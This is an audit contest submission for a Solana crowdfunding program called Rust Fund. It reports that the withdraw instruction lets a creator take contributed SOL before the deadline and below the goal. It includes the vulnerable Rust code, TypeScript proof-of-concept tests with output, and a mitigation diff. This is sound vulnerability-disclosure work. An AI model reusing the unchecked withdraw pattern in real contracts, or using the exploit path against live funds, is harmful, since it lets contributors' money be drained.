Rust Fund

AI First Flight #9
Beginner FriendlyRust
EXP
View results
Submission Details
Severity: high
Valid

Creator can withdraw before the deadline and before the goal is reached

Creator can withdraw before the deadline and before the goal is reached

Description

A crowdfunding campaign is expected to restrict creator withdrawals until the campaign is eligible for withdrawal. At minimum, the withdrawal path should enforce the intended lifecycle conditions, such as the campaign deadline having passed and/or the campaign goal having been reached.

The withdraw instruction does not check either condition. It only reads fund.amount_raised and transfers that amount from the fund account to the creator. As a result, the creator can withdraw contributed SOL even while the deadline is still in the future and the raised amount is below the declared goal.

pub fn withdraw(ctx: Context<FundWithdraw>) -> Result<()> {
@> let amount = ctx.accounts.fund.amount_raised;
@> // Missing checks:
@> // - fund.deadline has passed
@> // - fund.amount_raised >= fund.goal
**ctx.accounts.fund.to_account_info().try_borrow_mut_lamports()? =
ctx.accounts.fund.to_account_info().lamports()
.checked_sub(amount)
.ok_or(ProgramError::InsufficientFunds)?;
**ctx.accounts.creator.to_account_info().try_borrow_mut_lamports()? =
ctx.accounts.creator.to_account_info().lamports()
.checked_add(amount)
.ok_or(ErrorCode::CalculationOverflow)?;
Ok(())
}

Risk

Likelihood:

  • This occurs for any fund with a positive amount_raised because withdraw never reads or validates fund.deadline.

  • This occurs regardless of the configured funding goal because withdraw never checks fund.amount_raised >= fund.goal.

Impact:

  • The creator can take contributor funds before the campaign deadline, breaking contributors' expectation that funds remain locked during the campaign period.

  • The creator can withdraw funds even when the campaign has not reached its declared goal, allowing underfunded campaigns to be drained.

Proof of Concept

const airdropSolAmount = 5;
const airdrop = async (
pubkey: anchor.web3.PublicKey,
sol = airdropSolAmount
) => {
const sig = await provider.connection.requestAirdrop(
pubkey,
sol * anchor.web3.LAMPORTS_PER_SOL
);
const latest = await provider.connection.getLatestBlockhash();
await provider.connection.confirmTransaction(
{
signature: sig,
blockhash: latest.blockhash,
lastValidBlockHeight: latest.lastValidBlockHeight,
},
"confirmed"
);
};
it("creator can withdraw before deadline and before goal is reached", async () => {
const testCreator = provider.wallet;
const testContributor = anchor.web3.Keypair.generate();
const testFundName = `refund-accounting-${Date.now()}`;
const testContribution = new anchor.BN(anchor.web3.LAMPORTS_PER_SOL / 2);
const now = Math.floor(Date.now() / 1000);
const futureDeadline = new anchor.BN(now + 3600);
await airdrop(testContributor.publicKey);
const [testFundPDA] = await PublicKey.findProgramAddress(
[Buffer.from(testFundName), testCreator.publicKey.toBuffer()],
program.programId
);
const [testContributionPDA] = await PublicKey.findProgramAddress(
[testFundPDA.toBuffer(), testContributor.publicKey.toBuffer()],
program.programId
);
await program.methods
.fundCreate(testFundName, description, goal)
.accountsPartial({
fund: testFundPDA,
creator: testCreator.publicKey,
systemProgram: anchor.web3.SystemProgram.programId,
})
.rpc();
await program.methods
.contribute(testContribution)
.accountsPartial({
fund: testFundPDA,
contributor: testContributor.publicKey,
contribution: testContributionPDA,
systemProgram: anchor.web3.SystemProgram.programId,
})
.signers([testContributor])
.rpc();
const fundAfterContribute = await program.account.fund.fetch(testFundPDA);
const contributionAfterContribute =
await program.account.contribution.fetch(testContributionPDA);
expect(fundAfterContribute.amountRaised.eq(testContribution)).to.be.true;
expect(contributionAfterContribute.amount.toNumber()).to.equal(0);
expect(fundAfterContribute.amountRaised.eq(contributionAfterContribute.amount)).to.eq(false);
await program.methods
.setDeadline(futureDeadline)
.accountsPartial({
fund: testFundPDA,
creator: testCreator.publicKey,
})
.rpc();
const fundAfterDeadlineSet = await program.account.fund.fetch(testFundPDA);
expect(fundAfterDeadlineSet.deadline.toNumber()).to.eq(futureDeadline.toNumber());
expect(fundAfterDeadlineSet.deadline.toNumber()).to.be.greaterThan(now);
const creatorBalanceBefore = await provider.connection.getBalance(testCreator.publicKey);
await program.methods
.withdraw()
.accounts({
fund: testFundPDA,
creator: testCreator.publicKey,
systemProgram: anchor.web3.SystemProgram.programId,
})
.rpc();
const creatorBalanceAfter = await provider.connection.getBalance(testCreator.publicKey);
const fund = await program.account.fund.fetch(testFundPDA);
expect(Number(fund.deadline)).to.not.eq(0);
expect(creatorBalanceBefore).to.be.lessThan(creatorBalanceAfter);
});

The test sets a deadline one hour in the future and contributes only 0.5 SOL while the fund goal is 1 SOL. Despite the campaign being before its deadline and below its goal, the creator successfully calls withdraw and receives lamports.

Recommended Mitigation

Enforce the intended withdrawal lifecycle before transferring funds. For example, require the goal to be reached and require the deadline condition that matches the protocol design.

pub fn withdraw(ctx: Context<FundWithdraw>) -> Result<()> {
let amount = ctx.accounts.fund.amount_raised;
+ let now: u64 = Clock::get()?
+ .unix_timestamp
+ .try_into()
+ .map_err(|_| ErrorCode::CalculationOverflow)?;
+
+ require!(
+ ctx.accounts.fund.deadline != 0 && ctx.accounts.fund.deadline <= now,
+ ErrorCode::DeadlineNotReached
+ );
+ require!(
+ ctx.accounts.fund.amount_raised >= ctx.accounts.fund.goal,
+ ErrorCode::GoalNotReached
+ );
**ctx.accounts.fund.to_account_info().try_borrow_mut_lamports()? =
ctx.accounts.fund.to_account_info().lamports()
.checked_sub(amount)
.ok_or(ProgramError::InsufficientFunds)?;

If the intended design allows withdrawal immediately after the goal is reached, then the condition should explicitly encode that rule instead of allowing unconditional withdrawal.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 23 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-01] No check for if campaign reached deadline before withdraw

## Description A Malicious creator can withdraw funds before the campaign's deadline. ## Vulnerability Details There is no check in withdraw if the campaign ended before the creator can withdraw funds. ```Rust pub fn withdraw(ctx: Context<FundWithdraw>) -> Result<()> { let amount = ctx.accounts.fund.amount_raised; **ctx.accounts.fund.to_account_info().try_borrow_mut_lamports()? = ctx.accounts.fund.to_account_info().lamports() .checked_sub(amount) .ok_or(ProgramError::InsufficientFunds)?; **ctx.accounts.creator.to_account_info().try_borrow_mut_lamports()? = ctx.accounts.creator.to_account_info().lamports() .checked_add(amount) .ok_or(ErrorCode::CalculationOverflow)?; Ok(()) } ``` ## Impact A Malicious creator can withdraw all the campaign funds before deadline which is against the intended logic of the program. ## Recommendations Add check for if campaign as reached deadline before a creator can withdraw ```Rust pub fn withdraw(ctx: Context<FundWithdraw>) -> Result<()> { //add this if ctx.accounts.fund.deadline != 0 && ctx.accounts.fund.deadline > Clock::get().unwrap().unix_timestamp.try_into().unwrap() { return Err(ErrorCode::DeadlineNotReached.into()); } //stops here let amount = ctx.accounts.fund.amount_raised; **ctx.accounts.fund.to_account_info().try_borrow_mut_lamports()? = ctx.accounts.fund.to_account_info().lamports() .checked_sub(amount) .ok_or(ProgramError::InsufficientFunds)?; **ctx.accounts.creator.to_account_info().try_borrow_mut_lamports()? = ctx.accounts.creator.to_account_info().lamports() .checked_add(amount) .ok_or(ErrorCode::CalculationOverflow)?; Ok(()) } ``` ## POC keep everything in `./tests/rustfund.rs` up on to `Contribute to fund` test, then add the below: ```TypeScript it("Creator withdraws funds when deadline is not reached", async () => { const creatorBalanceBefore = await provider.connection.getBalance(creator.publicKey); const fund = await program.account.fund.fetch(fundPDA); await new Promise(resolve => setTimeout(resolve, 150)); //default 15000 console.log("goal", fund.goal.toNumber()); console.log("fundBalance", await provider.connection.getBalance(fundPDA)); console.log("creatorBalanceBefore", await provider.connection.getBalance(creator.publicKey)); await program.methods .withdraw() .accounts({ fund: fundPDA, creator: creator.publicKey, systemProgram: anchor.web3.SystemProgram.programId, }) .rpc(); const creatorBalanceAfter = await provider.connection.getBalance(creator.publicKey); console.log("creatorBalanceAfter", creatorBalanceAfter); console.log("fundBalanceAfter", await provider.connection.getBalance(fundPDA)); }); ``` this outputs: ```Python goal 1000000000 fundBalance 537590960 creatorBalanceBefore 499999999460946370 creatorBalanceAfter 499999999960941400 fundBalanceAfter 37590960 ✔ Creator withdraws funds when deadline is not reached (398ms) ``` We can notice that the creator withdraws funds from the campaign before the deadline.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!